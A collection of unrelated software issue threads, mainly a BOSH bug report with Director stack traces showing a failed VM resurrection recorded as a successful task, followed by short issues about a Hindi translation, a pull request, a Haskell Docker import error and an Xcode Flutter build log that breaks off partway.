scan_and_fix in state done although resurrection unsuccessful

Using BOSH v243
Seems like an error during resurrection is not properly reflected in the Director task. We had the resurrector kick in because of a missing VM, the Director started a scan_and_fix that ended with this stacktrace, because the IP was already taken:
E, [2016-02-16 12:31:03 #625] [task:5871] ERROR -- DirectorJobRunner: error creating vm: OpenStack API Bad Request (Fixed IP address <IP_ADDRESS> is already in use on instance f87a5081-673a-4dd7-a909-d33cb51396f7.). Check task debug log for details.
E, [2016-02-16 12:31:03 #625] [task:5871] ERROR -- DirectorJobRunner: Error resolving problem `1798': OpenStack API Bad Request (Fixed IP address <IP_ADDRESS> is already in use on instance f87a5081-673a-4dd7-a909-d33cb51396f7.). Check task debug log for details.
E, [2016-02-16 12:31:03 #625] [task:5871] ERROR -- DirectorJobRunner: /var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:118:in `handle_error'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:88:in `invoke_cpi_method'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:51:in `create_vm'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:119:in `create'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:50:in `create_for_instance_plan'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/cloudcheck_helper.rb:80:in `recreate_vm'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_handlers/missing_vm.rb:22:in `block (2 levels) in <class:MissingVM>'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_handlers/base.rb:83:in `instance_eval'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_handlers/base.rb:83:in `apply_resolution'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_resolver.rb:61:in `block in apply_resolution'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_resolver.rb:23:in `block in track_and_log'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:97:in `call'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:97:in `advance_and_track'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:50:in `track'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_resolver.rb:21:in `track_and_log'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_resolver.rb:60:in `apply_resolution'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_resolver.rb:42:in `block in apply_resolutions'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/dataset/actions.rb:152:in `block in each'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:525:in `block (2 levels) in fetch_rows'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:720:in `block in yield_hash_rows'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:714:in `times'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:714:in `yield_hash_rows'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:525:in `block in fetch_rows'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:134:in `execute'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:413:in `_execute'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:242:in `block (2 levels) in execute'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:425:in `check_database_errors'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:242:in `block in execute'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/database/connecting.rb:236:in `block in synchronize'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/connection_pool/threaded.rb:104:in `hold'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/database/connecting.rb:236:in `synchronize'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:242:in `execute'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/dataset/actions.rb:801:in `execute'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/adapters/postgres.rb:525:in `fetch_rows'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/sequel-3.43.0/lib/sequel/dataset/actions.rb:152:in `each'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/problem_resolver.rb:33:in `apply_resolutions'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/jobs/cloud_check/scan_and_fix.rb:37:in `block in perform'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/lock_helper.rb:13:in `block in with_deployment_lock'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/lock.rb:56:in `lock'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/lock_helper.rb:13:in `with_deployment_lock'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/jobs/cloud_check/scan_and_fix.rb:30:in `perform'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/job_runner.rb:99:in `perform_job'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/job_runner.rb:32:in `block in run'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_formatter.rb:49:in `with_thread_name'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/job_runner.rb:32:in `run'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/jobs/base_job.rb:10:in `perform'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/resque-1.25.2/lib/resque/job.rb:227:in `perform'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/resque-1.25.2/lib/resque/worker.rb:250:in `perform'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/resque-1.25.2/lib/resque/worker.rb:189:in `block in work'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/resque-1.25.2/lib/resque/worker.rb:166:in `loop'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/resque-1.25.2/lib/resque/worker.rb:166:in `work'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/bin/bosh-director-worker:75:in `<top (required)>'
/var/vcap/packages/director/bin/bosh-director-worker:16:in `load'
/var/vcap/packages/director/bin/bosh-director-worker:16:in `<main>'
D, [2016-02-16 12:31:03 #625] [] DEBUG -- DirectorJobRunner: Lock renewal thread exiting
D, [2016-02-16 12:31:03 #625] [task:5871] DEBUG -- DirectorJobRunner: Deleting lock: lock:deployment:cf
D, [2016-02-16 12:31:03 #625] [task:5871] DEBUG -- DirectorJobRunner: Deleted lock: lock:deployment:cf
I, [2016-02-16 12:31:03 #625] [task:5871]  INFO -- DirectorJobRunner: Done
D, [2016-02-16 12:31:03 #625] [task:5871] DEBUG -- DirectorJobRunner: (0.000505s) SELECT NULL
D, [2016-02-16 12:31:03 #625] [task:5871] DEBUG -- DirectorJobRunner: (0.000074s) BEGIN
D, [2016-02-16 12:31:03 #625] [task:5871] DEBUG -- DirectorJobRunner: (0.000308s) UPDATE "tasks" SET "state" = 'done', "timestamp" = '2016-02-16 12:31:03.177979+0000', "description" = 'scan and fix', "result" = 'scan and fix complete', "output" = '/var/vcap/store/director/tasks/5871', "checkpoint_time" = '2016-02-16 12:30:30.398472+0000', "type" = 'cck_scan_and_fix', "username" = 'admin' WHERE ("id" = 5871)
D, [2016-02-16 12:31:03 #625] [task:5871] DEBUG -- DirectorJobRunner: (0.001551s) COMMIT
I, [2016-02-16 12:31:03 #625] []  INFO -- DirectorJobRunner: Task took 32.790867576 seconds to process.

Task 5871 done

However, the task is in state done, not error. The Health Monitor didn't log anything about a failed scan_and_fix and happily removed the VM from the DB.
What I would have expected is an error just like if you deploy the release again:
D, [2016-02-16 12:45:48 #855] [] DEBUG -- DirectorJobRunner: Worker thread raised exception: OpenStack API Bad Request (Fixed IP address <IP_ADDRESS> is already in use on instance f87a5081-673a-4dd7-a909-d33cb51396f7.). Check task debug log for details. - /var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:118:in `handle_error'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:88:in `invoke_cpi_method'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:51:in `create_vm'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:119:in `create'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:50:in `create_for_instance_plan'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:30:in `block (5 levels) in create_for_instance_plans'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:97:in `call'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:97:in `advance_and_track'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:50:in `track'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:27:in `block (4 levels) in create_for_instance_plans'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_formatter.rb:49:in `with_thread_name'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:26:in `block (3 levels) in create_for_instance_plans'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_pool.rb:77:in `call'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_pool.rb:77:in `block (2 levels) in create_thread'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_pool.rb:63:in `loop'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_pool.rb:63:in `block in create_thread'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/logging-1.8.2/lib/logging/diagnostic_context.rb:323:in `call'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/logging-1.8.2/lib/logging/diagnostic_context.rb:323:in `block in create_with_logging_context'
D, [2016-02-16 12:45:48 #855] [] DEBUG -- DirectorJobRunner: Thread is no longer needed, cleaning up
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: Shutting down pool
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: (0.000356s) SELECT NULL
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: (0.000785s) SELECT "stemcells".* FROM "stemcells" INNER JOIN "deployments_stemcells" ON (("deployments_stemcells"."stemcell_id" = "stemcells"."id") AND ("deployments_stemcells"."deployment_id" = 2))
D, [2016-02-16 12:45:48 #855] [] DEBUG -- DirectorJobRunner: Lock renewal thread exiting
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: Deleting lock: lock:deployment:cf
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: Deleted lock: lock:deployment:cf
I, [2016-02-16 12:45:48 #855] [task:5877]  INFO -- DirectorJobRunner: sending update deployment error event
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: SENT: hm.director.alert {"id":"6a44f36b-2586-4cea-bd48-a780ce288e38","severity":3,"source":"director","title":"director - error during update deployment","summary":"Error during update deployment for 'cf' against Director 'b320ad7d-16d8-41b5-8dbf-420ef81820c2': #<Bosh::Clouds::CloudError: OpenStack API Bad Request (Fixed IP address <IP_ADDRESS> is already in use on instance f87a5081-673a-4dd7-a909-d33cb51396f7.). Check task debug log for details.>","created_at":1455626748}
E, [2016-02-16 12:45:48 #855] [task:5877] ERROR -- DirectorJobRunner: OpenStack API Bad Request (Fixed IP address <IP_ADDRESS> is already in use on instance f87a5081-673a-4dd7-a909-d33cb51396f7.). Check task debug log for details.
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:118:in `handle_error'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:88:in `invoke_cpi_method'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_cpi-1.3167.0/lib/cloud/external_cpi.rb:51:in `create_vm'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:119:in `create'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:50:in `create_for_instance_plan'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:30:in `block (5 levels) in create_for_instance_plans'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:97:in `call'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:97:in `advance_and_track'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/event_log.rb:50:in `track'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:27:in `block (4 levels) in create_for_instance_plans'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_formatter.rb:49:in `with_thread_name'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh-director-1.3167.0/lib/bosh/director/vm_creator.rb:26:in `block (3 levels) in create_for_instance_plans'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_pool.rb:77:in `call'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_pool.rb:77:in `block (2 levels) in create_thread'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_pool.rb:63:in `loop'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/bosh_common-1.3167.0/lib/common/thread_pool.rb:63:in `block in create_thread'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/logging-1.8.2/lib/logging/diagnostic_context.rb:323:in `call'
/var/vcap/packages/director/gem_home/ruby/2.1.0/gems/logging-1.8.2/lib/logging/diagnostic_context.rb:323:in `block in create_with_logging_context'
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: (0.000122s) SELECT NULL
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: (0.000093s) BEGIN
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: (0.000415s) UPDATE "tasks" SET "state" = 'error', "timestamp" = '2016-02-16 12:45:48.393953+0000', "description" = 'create deployment', "result" = 'OpenStack API Bad Request (Fixed IP address <IP_ADDRESS> is already in use on instance f87a5081-673a-4dd7-a909-d33cb51396f7.)....', "output" = '/var/vcap/store/director/tasks/5877', "checkpoint_time" = '2016-02-16 12:35:47.407852+0000', "type" = 'update_deployment', "username" = 'admin' WHERE ("id" = 5877)
D, [2016-02-16 12:45:48 #855] [task:5877] DEBUG -- DirectorJobRunner: (0.001179s) COMMIT
I, [2016-02-16 12:45:48 #855] []  INFO -- DirectorJobRunner: Task took 10 minutes 0.993022791000044 seconds to process.

Task 5877 error

Which ends in state error and I also get logs in the Health Monitor quoting the above "result" = 'OpenStack API Bad Request (Fixed IP address <IP_ADDRESS> is already in use on instance f87a5081-673a-4dd7-a909-d33cb51396f7.)

Alright, I added a story for this: https://www.pivotaltracker.com/story/show/114092983
We'll probably start it next week.

Pull request #1147 fixes this issue.

I found that this has been merged and included in the release:
https://github.com/cloudfoundry/bosh/releases/tag/stable-3213
What is the policy for closing an issue?

Thanks for the reminder @tomoe. Change has been merged, closing the issue.


Translation into Hindi

Hi Folks,
The COVID - ALERT app currently works in 8 different languages. We need this to work in Hindi.  We estimate the time needed for this task would be around 60-90 minutes. Please be very sensitive to the nature of messaging - best would be to slack me "Shreyas" and align on the tone and meaning before publishing it.
thanks

I'm taking this up!


Loading data from blockchain for old accounts

Issue link

#306
Auto-close the issue?

Closes #306
Types of changes

Bug fix (non-breaking change that fixes an issue)

Nice work!!


Make sure that locally defined modules can be imported

Imports from globally available packages work fine, e.g. TestTree. But what happens for local modules? We should check and make sure.

I get an issue like the following:
Docker_1  | Starting Repair-Docker - Building the command
Docker_1  | No Configuration Override given
Docker_1  | TimeStamps will be printed
Docker_1  |
Docker_1  | final cmd is /app/endemic /input/Expr.hs --log-level=INFO  --log-file=/output/docker-endemic.log  --config=/config/docker_config.json
Docker_1  |
Docker_1  | /input/Expr.hs:5:1: error:
Docker_1  |     Could not find module ‘Parsing’
Docker_1  |     Use -v (or :set -v in ghci) to see a list of the files searched for.
Docker_1  |   |
Docker_1  | 5 | import Parsing
Docker_1  |   | ^^^^^^^^^^^^^^
Docker_1  | endemic: Module not part of module graph

The Parsing.hs was next to the file.
The reproduction is in our private company-repo :)


'contacts_service/contacts_service-Swift.h' file not found

Xcode's output:
↳
=== BUILD TARGET flutter_sms OF PROJECT Pods WITH CONFIGURATION Debug ===
/Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/contacts_service-0.2.0/ios/Classes/ContactsServicePlugin.m:2:9: fatal error:
'contacts_service/contacts_service-Swift.h' file not found
#import <contacts_service/contacts_service-Swift.h>
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 error generated.
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:51:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterAppDelegate.h:11:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPlugin.h:102:42: warning: 'UIUserNotificationSettings' is only available on iOS 8.0
or newer [-Wunguarded-availability]
didRegisterUserNotificationSettings:(UIUserNotificationSettings*)notificationSettings;
^
In module 'UIKit' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Target Support Files/firebase_auth/firebase_auth-prefix.pch:2:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/UIKit.framework/Headers
/UIUserNotificationSettings.h:43:12: note: 'UIUserNotificationSettings' has been explicitly marked partial here
@interface UIUserNotificationSettings : NSObject
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:51:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterAppDelegate.h:11:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPlugin.h:101:1: note: annotate 'application:didRegisterUserNotificationSettings:'
with an availability attribute to silence this warning
- (void)application:(UIApplication*)application
^
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPlugin.h:118:44: warning: 'UIBackgroundFetchResult' is only available on iOS 7.0 or
newer [-Wunguarded-availability]
fetchCompletionHandler:(void (^)(UIBackgroundFetchResult result))completionHandler;
^
In module 'UIKit' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Target Support Files/firebase_auth/firebase_auth-prefix.pch:2:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/UIKit.framework/Headers
/UIApplication.h:76:29: note: 'UIBackgroundFetchResult' has been explicitly marked partial here
typedef NS_ENUM(NSUInteger, UIBackgroundFetchResult) {
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:51:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterAppDelegate.h:11:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPlugin.h:116:1: note: annotate
'application:didReceiveRemoteNotification:fetchCompletionHandler:' with an availability attribute to silence this warning
- (BOOL)application:(UIApplication*)application
^
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPlugin.h:186:49: warning: 'UIBackgroundFetchResult' is only available on iOS 7.0 or
newer [-Wunguarded-availability]
performFetchWithCompletionHandler:(void (^)(UIBackgroundFetchResult result))completionHandler;
^
In module 'UIKit' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Target Support Files/firebase_auth/firebase_auth-prefix.pch:2:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/UIKit.framework/Headers
/UIApplication.h:76:29: note: 'UIBackgroundFetchResult' has been explicitly marked partial here
typedef NS_ENUM(NSUInteger, UIBackgroundFetchResult) {
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:51:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterAppDelegate.h:11:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPlugin.h:185:1: note: annotate 'application:performFetchWithCompletionHandler:' with
an availability attribute to silence this warning
- (BOOL)application:(UIApplication*)application
^
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPlugin.h:194:27: warning: 'NSUserActivity' is only available on iOS 8.0 or newer
[-Wunguarded-availability]
continueUserActivity:(NSUserActivity*)userActivity
^
In module 'Foundation' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterBinaryMessenger.h:8:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/Foundation.framework/He
aders/NSUserActivity.h:17:12: note: 'NSUserActivity' has been explicitly marked partial here
@interface NSUserActivity : NSObject
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:51:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterAppDelegate.h:11:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPlugin.h:193:1: note: annotate
'application:continueUserActivity:restorationHandler:' with an availability attribute to silence this warning
- (BOOL)application:(UIApplication*)application
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:62:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPluginAppLifeCycleDelegate.h:72:42: warning: 'UIUserNotificationSettings' is only
available on iOS 8.0 or newer [-Wunguarded-availability]
didRegisterUserNotificationSettings:(UIUserNotificationSettings*)notificationSettings;
^
In module 'UIKit' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Target Support Files/firebase_auth/firebase_auth-prefix.pch:2:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/UIKit.framework/Headers
/UIUserNotificationSettings.h:43:12: note: 'UIUserNotificationSettings' has been explicitly marked partial here
@interface UIUserNotificationSettings : NSObject
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.h:5:
In file included from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/Flutter.h:62:
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPluginAppLifeCycleDelegate.h:71:1: note: annotate
'application:didRegisterUserNotificationSettings:' with an availability attribute to silence this warning
- (void)application:(UIApplication*)application
^
/Users/amolyadav/Desktop/arlu_chat/ios/Pods/Headers/Public/Flutter/Flutter/FlutterPluginAppLifeCycleDelegate.h:86:44: warning: 'UIBackgroundFetchResult' is only
available on iOS 7.0 or newer [-Wunguarded-availability]
fetchCompletionHandler:(void (^)(UIBackgroundFetchResult result))completionHandler;
^
In module 'UIKit' imported from /Users/amolyadav/Desktop/arlu_chat/ios/Pods/Target Support Files/firebase_auth/firebase_auth-prefix.pch:2:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator11.4.sdk/System/Library/Frameworks/UIKit.framework/Headers
/UIApplication.h:76:29: note: 'UIBackgroundFetchResult' has been explicitly marked partial here
typedef NS_ENUM(NSUInteger, UIBackgroundFetchResult) {
^
In file included from /Users/amolyadav/Downloads/flutter/.pub-cache/hosted/pub.dartlang.org/firebase_auth-0.6.6/ios/Classes/FirebaseAuthPlugin.m:5:
